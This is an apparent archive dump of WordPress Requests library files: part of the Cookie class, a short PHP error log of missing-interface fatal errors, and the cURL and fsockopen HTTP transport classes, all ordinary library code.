				// Domain normalization, as per RFC 6265 section 5.2.3
				if ($value[0] === '.') {
					$value = substr($value, 1);
				}

				return $value;

			default:
				return $value;
		}
	}

	/**
	 * Format a cookie for a Cookie header
	 *
	 * This is used when sending cookies to a server.
	 *
	 * @return string Cookie formatted for Cookie header
	 */
	public function format_for_header() {
		return sprintf('%s=%s', $this->name, $this->value);
	}

	/**
	 * Format a cookie for a Set-Cookie header
	 *
	 * This is used when sending cookies to clients. This isn't really
	 * applicable to client-side usage, but might be handy for debugging.
	 *
	 * @return string Cookie formatted for Set-Cookie header
	 */
	public function format_for_set_cookie() {
		$header_value = $this->format_for_header();
		if (!empty($this->attributes)) {
			$parts = [];
			foreach ($this->attributes as $key => $value) {
				// Ignore non-associative attributes
				if (is_numeric($key)) {
					$parts[] = $value;
				} else {
					$parts[] = sprintf('%s=%s', $key, $value);
				}
			}

			$header_value .= '; ' . implode('; ', $parts);
		}

		return $header_value;
	}

	/**
	 * Parse a cookie string into a cookie object
	 *
	 * Based on Mozilla's parsing code in Firefox and related projects, which
	 * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
	 * specifies some of this handling, but not in a thorough manner.
	 *
	 * @param string $cookie_header Cookie header value (from a Set-Cookie header)
	 * @param string $name
	 * @param int|null $reference_time
	 * @return \WpOrg\Requests\Cookie Parsed cookie object
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 */
	public static function parse($cookie_header, $name = '', $reference_time = null) {
		if (is_string($cookie_header) === false) {
			throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header));
		}

		if (is_string($name) === false) {
			throw InvalidArgument::create(2, '$name', 'string', gettype($name));
		}

		$parts   = explode(';', $cookie_header);
		$kvparts = array_shift($parts);

		if (!empty($name)) {
			$value = $cookie_header;
		} elseif (strpos($kvparts, '=') === false) {
			// Some sites might only have a value without the equals separator.
			// Deviate from RFC 6265 and pretend it was actually a blank name
			// (`=foo`)
			//
			// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
			$name  = '';
			$value = $kvparts;
		} else {
			list($name, $value) = explode('=', $kvparts, 2);
		}

		$name  = trim($name);
		$value = trim($value);

		// Attribute keys are handled case-insensitively
		$attributes = new CaseInsensitiveDictionary();

		if (!empty($parts)) {
			foreach ($parts as $part) {
				if (strpos($part, '=') === false) {
					$part_key   = $part;
					$part_value = true;
				} else {
					list($part_key, $part_value) = explode('=', $part, 2);
					$part_value                  = trim($part_value);
				}

				$part_key              = trim($part_key);
				$attributes[$part_key] = $part_value;
			}
		}

		return new static($name, $value, $attributes, [], $reference_time);
	}

	/**
	 * Parse all Set-Cookie headers from request headers
	 *
	 * @param \WpOrg\Requests\Response\Headers $headers Headers to parse from
	 * @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins
	 * @param int|null $time Reference time for expiration calculation
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $origin argument is not null or an instance of the Iri class.
	 */
	public static function parse_from_headers(Headers $headers, $origin = null, $time = null) {
		$cookie_headers = $headers->getValues('Set-Cookie');
		if (empty($cookie_headers)) {
			return [];
		}

		if ($origin !== null && !($origin instanceof Iri)) {
			throw InvalidArgument::create(2, '$origin', Iri::class . ' or null', gettype($origin));
		}

		$cookies = [];
		foreach ($cookie_headers as $header) {
			$parsed = self::parse($header, '', $time);

			// Default domain/path attributes
			if (empty($parsed->attributes['domain']) && !empty($origin)) {
				$parsed->attributes['domain'] = $origin->host;
				$parsed->flags['host-only']   = true;
			} else {
				$parsed->flags['host-only'] = false;
			}

			$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
			if (!$path_is_valid && !empty($origin)) {
				$path = $origin->path;

				// Default path normalization as per RFC 6265 section 5.1.4
				if (substr($path, 0, 1) !== '/') {
					// If the uri-path is empty or if the first character of
					// the uri-path is not a %x2F ("/") character, output
					// %x2F ("/") and skip the remaining steps.
					$path = '/';
				} elseif (substr_count($path, '/') === 1) {
					// If the uri-path contains no more than one %x2F ("/")
					// character, output %x2F ("/") and skip the remaining
					// step.
					$path = '/';
				} else {
					// Output the characters of the uri-path from the first
					// character up to, but not including, the right-most
					// %x2F ("/").
					$path = substr($path, 0, strrpos($path, '/'));
				}

				$parsed->attributes['path'] = $path;
			}

			// Reject invalid cookie domains
			if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
				continue;
			}

			$cookies[$parsed->name] = $parsed;
		}

		return $cookies;
	}
}
Transport/error_log000064400000013722151024327070010463 0ustar00[28-Oct-2025 14:06:17 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[28-Oct-2025 16:01:28 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Nov-2025 05:51:53 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[02-Nov-2025 07:10:24 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[03-Nov-2025 00:07:08 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[03-Nov-2025 01:02:43 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[03-Nov-2025 02:44:50 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[03-Nov-2025 14:06:42 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[03-Nov-2025 14:07:46 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[03-Nov-2025 14:23:33 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[03-Nov-2025 14:23:45 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Nov-2025 11:28:43 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Nov-2025 11:36:53 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[04-Nov-2025 11:43:29 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Nov-2025 11:48:51 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Nov-2025 11:50:56 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[05-Nov-2025 03:08:02 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Transport/Curl.php on line 25
Transport/Curl.php000064400000046163151024327070010171 0ustar00<?php
/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use RecursiveArrayIterator;
use RecursiveIteratorIterator;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Exception\Transport\Curl as CurlException;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\InputValidator;

/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */
final class Curl implements Transport {
	const CURL_7_10_5 = 0x070A05;
	const CURL_7_16_2 = 0x071002;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Raw body data
	 *
	 * @var string
	 */
	public $response_data = '';

	/**
	 * Information on the current request
	 *
	 * @var array cURL information array, see {@link https://www.php.net/curl_getinfo}
	 */
	public $info;

	/**
	 * cURL version number
	 *
	 * @var int
	 */
	public $version;

	/**
	 * cURL handle
	 *
	 * @var resource|\CurlHandle Resource in PHP < 8.0, Instance of CurlHandle in PHP >= 8.0.
	 */
	private $handle;

	/**
	 * Hook dispatcher instance
	 *
	 * @var \WpOrg\Requests\Hooks
	 */
	private $hooks;

	/**
	 * Have we finished the headers yet?
	 *
	 * @var boolean
	 */
	private $done_headers = false;

	/**
	 * If streaming to a file, keep the file pointer
	 *
	 * @var resource
	 */
	private $stream_handle;

	/**
	 * How many bytes are in the response body?
	 *
	 * @var int
	 */
	private $response_bytes;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $response_byte_limit;

	/**
	 * Constructor
	 */
	public function __construct() {
		$curl          = curl_version();
		$this->version = $curl['version_number'];
		$this->handle  = curl_init();

		curl_setopt($this->handle, CURLOPT_HEADER, false);
		curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
		if ($this->version >= self::CURL_7_10_5) {
			curl_setopt($this->handle, CURLOPT_ENCODING, '');
		}

		if (defined('CURLOPT_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound
			curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}

		if (defined('CURLOPT_REDIR_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound
			curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}
	}

	/**
	 * Destructor
	 */
	public function __destruct() {
		if (is_resource($this->handle)) {
			curl_close($this->handle);
		}
	}

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On a cURL error (`curlerror`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->hooks = $options['hooks'];

		$this->setup_handle($url, $headers, $data, $options);

		$options['hooks']->dispatch('curl.before_send', [&$this->handle]);

		if ($options['filename'] !== false) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$this->stream_handle = @fopen($options['filename'], 'wb');
			if ($this->stream_handle === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		if (isset($options['verify'])) {
			if ($options['verify'] === false) {
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
			} elseif (is_string($options['verify'])) {
				curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
			}
		}

		if (isset($options['verifyname']) && $options['verifyname'] === false) {
			curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
		}

		curl_exec($this->handle);
		$response = $this->response_data;

		$options['hooks']->dispatch('curl.after_send', []);

		if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) {
			// Reset encoding and try again
			curl_setopt($this->handle, CURLOPT_ENCODING, 'none');

			$this->response_data  = '';
			$this->response_bytes = 0;
			curl_exec($this->handle);
			$response = $this->response_data;
		}

		$this->process_response($response, $options);

		// Need to remove the $this reference from the curl handle.
		// Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called.
		curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
		curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);

		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data
	 * @param array $options Global options
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$multihandle = curl_multi_init();
		$subrequests = [];
		$subhandles  = [];

		$class = get_class($this);
		foreach ($requests as $id => $request) {
			$subrequests[$id] = new $class();
			$subhandles[$id]  = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
			$request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]);
			curl_multi_add_handle($multihandle, $subhandles[$id]);
		}

		$completed       = 0;
		$responses       = [];
		$subrequestcount = count($subrequests);

		$request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]);

		do {
			$active = 0;

			do {
				$status = curl_multi_exec($multihandle, $active);
			} while ($status === CURLM_CALL_MULTI_PERFORM);

			$to_process = [];

			// Read the information as needed
			while ($done = curl_multi_info_read($multihandle)) {
				$key = array_search($done['handle'], $subhandles, true);
				if (!isset($to_process[$key])) {
					$to_process[$key] = $done;
				}
			}

			// Parse the finished requests before we start getting the new ones
			foreach ($to_process as $key => $done) {
				$options = $requests[$key]['options'];
				if ($done['result'] !== CURLE_OK) {
					//get error string for handle.
					$reason          = curl_error($done['handle']);
					$exception       = new CurlException(
						$reason,
						CurlException::EASY,
						$done['handle'],
						$done['result']
					);
					$responses[$key] = $exception;
					$options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]);
				} else {
					$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);

					$options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]);
				}

				curl_multi_remove_handle($multihandle, $done['handle']);
				curl_close($done['handle']);

				if (!is_string($responses[$key])) {
					$options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]);
				}

				$completed++;
			}
		} while ($active || $completed < $subrequestcount);

		$request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]);

		curl_multi_close($multihandle);

		return $responses;
	}

	/**
	 * Get the cURL handle for use in a multi-request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return resource|\CurlHandle Subrequest's cURL handle
	 */
	public function &get_subrequest_handle($url, $headers, $data, $options) {
		$this->setup_handle($url, $headers, $data, $options);

		if ($options['filename'] !== false) {
			$this->stream_handle = fopen($options['filename'], 'wb');
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		$this->hooks = $options['hooks'];

		return $this->handle;
	}

	/**
	 * Setup the cURL handle for the given data
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 */
	private function setup_handle($url, $headers, $data, $options) {
		$options['hooks']->dispatch('curl.before_request', [&$this->handle]);

		// Force closing the connection for old versions of cURL (<7.22).
		if (!isset($headers['Connection'])) {
			$headers['Connection'] = 'close';
		}

		/**
		 * Add "Expect" header.
		 *
		 * By default, cURL adds a "Expect: 100-Continue" to most requests. This header can
		 * add as much as a second to the time it takes for cURL to perform a request. To
		 * prevent this, we need to set an empty "Expect" header. To match the behaviour of
		 * Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use
		 * HTTP/1.1.
		 *
		 * https://curl.se/mail/lib-2017-07/0013.html
		 */
		if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) {
			$headers['Expect'] = $this->get_expect_header($data);
		}

		$headers = Requests::flatten($headers);

		if (!empty($data)) {
			$data_format = $options['data_format'];

			if ($data_format === 'query') {
				$url  = self::format_get($url, $data);
				$data = '';
			} elseif (!is_string($data)) {
				$data = http_build_query($data, '', '&');
			}
		}

		switch ($options['type']) {
			case Requests::POST:
				curl_setopt($this->handle, CURLOPT_POST, true);
				curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				break;
			case Requests::HEAD:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				curl_setopt($this->handle, CURLOPT_NOBODY, true);
				break;
			case Requests::TRACE:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				break;
			case Requests::PATCH:
			case Requests::PUT:
			case Requests::DELETE:
			case Requests::OPTIONS:
			default:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				if (!empty($data)) {
					curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				}
		}

		// cURL requires a minimum timeout of 1 second when using the system
		// DNS resolver, as it uses `alarm()`, which is second resolution only.
		// There's no way to detect which DNS resolver is being used from our
		// end, so we need to round up regardless of the supplied timeout.
		//
		// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
		$timeout = max($options['timeout'], 1);

		if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound
			curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
		}

		if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
		}

		curl_setopt($this->handle, CURLOPT_URL, $url);
		curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
		if (!empty($headers)) {
			curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
		}

		if ($options['protocol_version'] === 1.1) {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
		} else {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
		}

		if ($options['blocking'] === true) {
			curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']);
			curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']);
			curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
		}
	}

	/**
	 * Process a response
	 *
	 * @param string $response Response data from the body
	 * @param array $options Request options
	 * @return string|false HTTP response data including headers. False if non-blocking.
	 * @throws \WpOrg\Requests\Exception If the request resulted in a cURL error.
	 */
	public function process_response($response, $options) {
		if ($options['blocking'] === false) {
			$fake_headers = '';
			$options['hooks']->dispatch('curl.after_request', [&$fake_headers]);
			return false;
		}

		if ($options['filename'] !== false && $this->stream_handle) {
			fclose($this->stream_handle);
			$this->headers = trim($this->headers);
		} else {
			$this->headers .= $response;
		}

		if (curl_errno($this->handle)) {
			$error = sprintf(
				'cURL error %s: %s',
				curl_errno($this->handle),
				curl_error($this->handle)
			);
			throw new Exception($error, 'curlerror', $this->handle);
		}

		$this->info = curl_getinfo($this->handle);

		$options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Collect the headers as they are received
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $headers Header string
	 * @return integer Length of provided header
	 */
	public function stream_headers($handle, $headers) {
		// Why do we do this? cURL will send both the final response and any
		// interim responses, such as a 100 Continue. We don't need that.
		// (We may want to keep this somewhere just in case)
		if ($this->done_headers) {
			$this->headers      = '';
			$this->done_headers = false;
		}

		$this->headers .= $headers;

		if ($headers === "\r\n") {
			$this->done_headers = true;
		}

		return strlen($headers);
	}

	/**
	 * Collect data as it's received
	 *
	 * @since 1.6.1
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $data Body data
	 * @return integer Length of provided data
	 */
	public function stream_body($handle, $data) {
		$this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]);
		$data_length = strlen($data);

		// Are we limiting the response size?
		if ($this->response_byte_limit) {
			if ($this->response_bytes === $this->response_byte_limit) {
				// Already at maximum, move on
				return $data_length;
			}

			if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
				// Limit the length
				$limited_length = ($this->response_byte_limit - $this->response_bytes);
				$data           = substr($data, 0, $limited_length);
			}
		}

		if ($this->stream_handle) {
			fwrite($this->stream_handle, $data);
		} else {
			$this->response_data .= $data;
		}

		$this->response_bytes += strlen($data);
		return $data_length;
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param string       $url  Original URL.
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url, $data) {
		if (!empty($data)) {
			$query     = '';
			$url_parts = parse_url($url);
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			} else {
				$query = $url_parts['query'];
			}

			$query .= '&' . http_build_query($data, '', '&');
			$query  = trim($query, '&');

			if (empty($url_parts['query'])) {
				$url .= '?' . $query;
			} else {
				$url = str_replace($url_parts['query'], $query, $url);
			}
		}

		return $url;
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('curl_init') || !function_exists('curl_exec')) {
			return false;
		}

		// If needed, check that our installed curl version supports SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			$curl_version = curl_version();
			if (!(CURL_VERSION_SSL & $curl_version['features'])) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Get the correct "Expect" header for the given request data.
	 *
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD.
	 * @return string The "Expect" header.
	 */
	private function get_expect_header($data) {
		if (!is_array($data)) {
			return strlen((string) $data) >= 1048576 ? '100-Continue' : '';
		}

		$bytesize = 0;
		$iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data));

		foreach ($iterator as $datum) {
			$bytesize += strlen((string) $datum);

			if ($bytesize >= 1048576) {
				return '100-Continue';
			}
		}

		return '';
	}
}
Transport/Fsockopen.php000064400000037033151024327070011207 0ustar00<?php
/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Port;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Ssl;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */
final class Fsockopen implements Transport {
	/**
	 * Second to microsecond conversion
	 *
	 * @var integer
	 */
	const SECOND_IN_MICROSECONDS = 1000000;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Stream metadata
	 *
	 * @var array Associative array of properties, see {@link https://www.php.net/stream_get_meta_data}
	 */
	public $info;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $max_bytes = false;

	/**
	 * Cache for received connection errors.
	 *
	 * @var string
	 */
	private $connect_error = '';

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
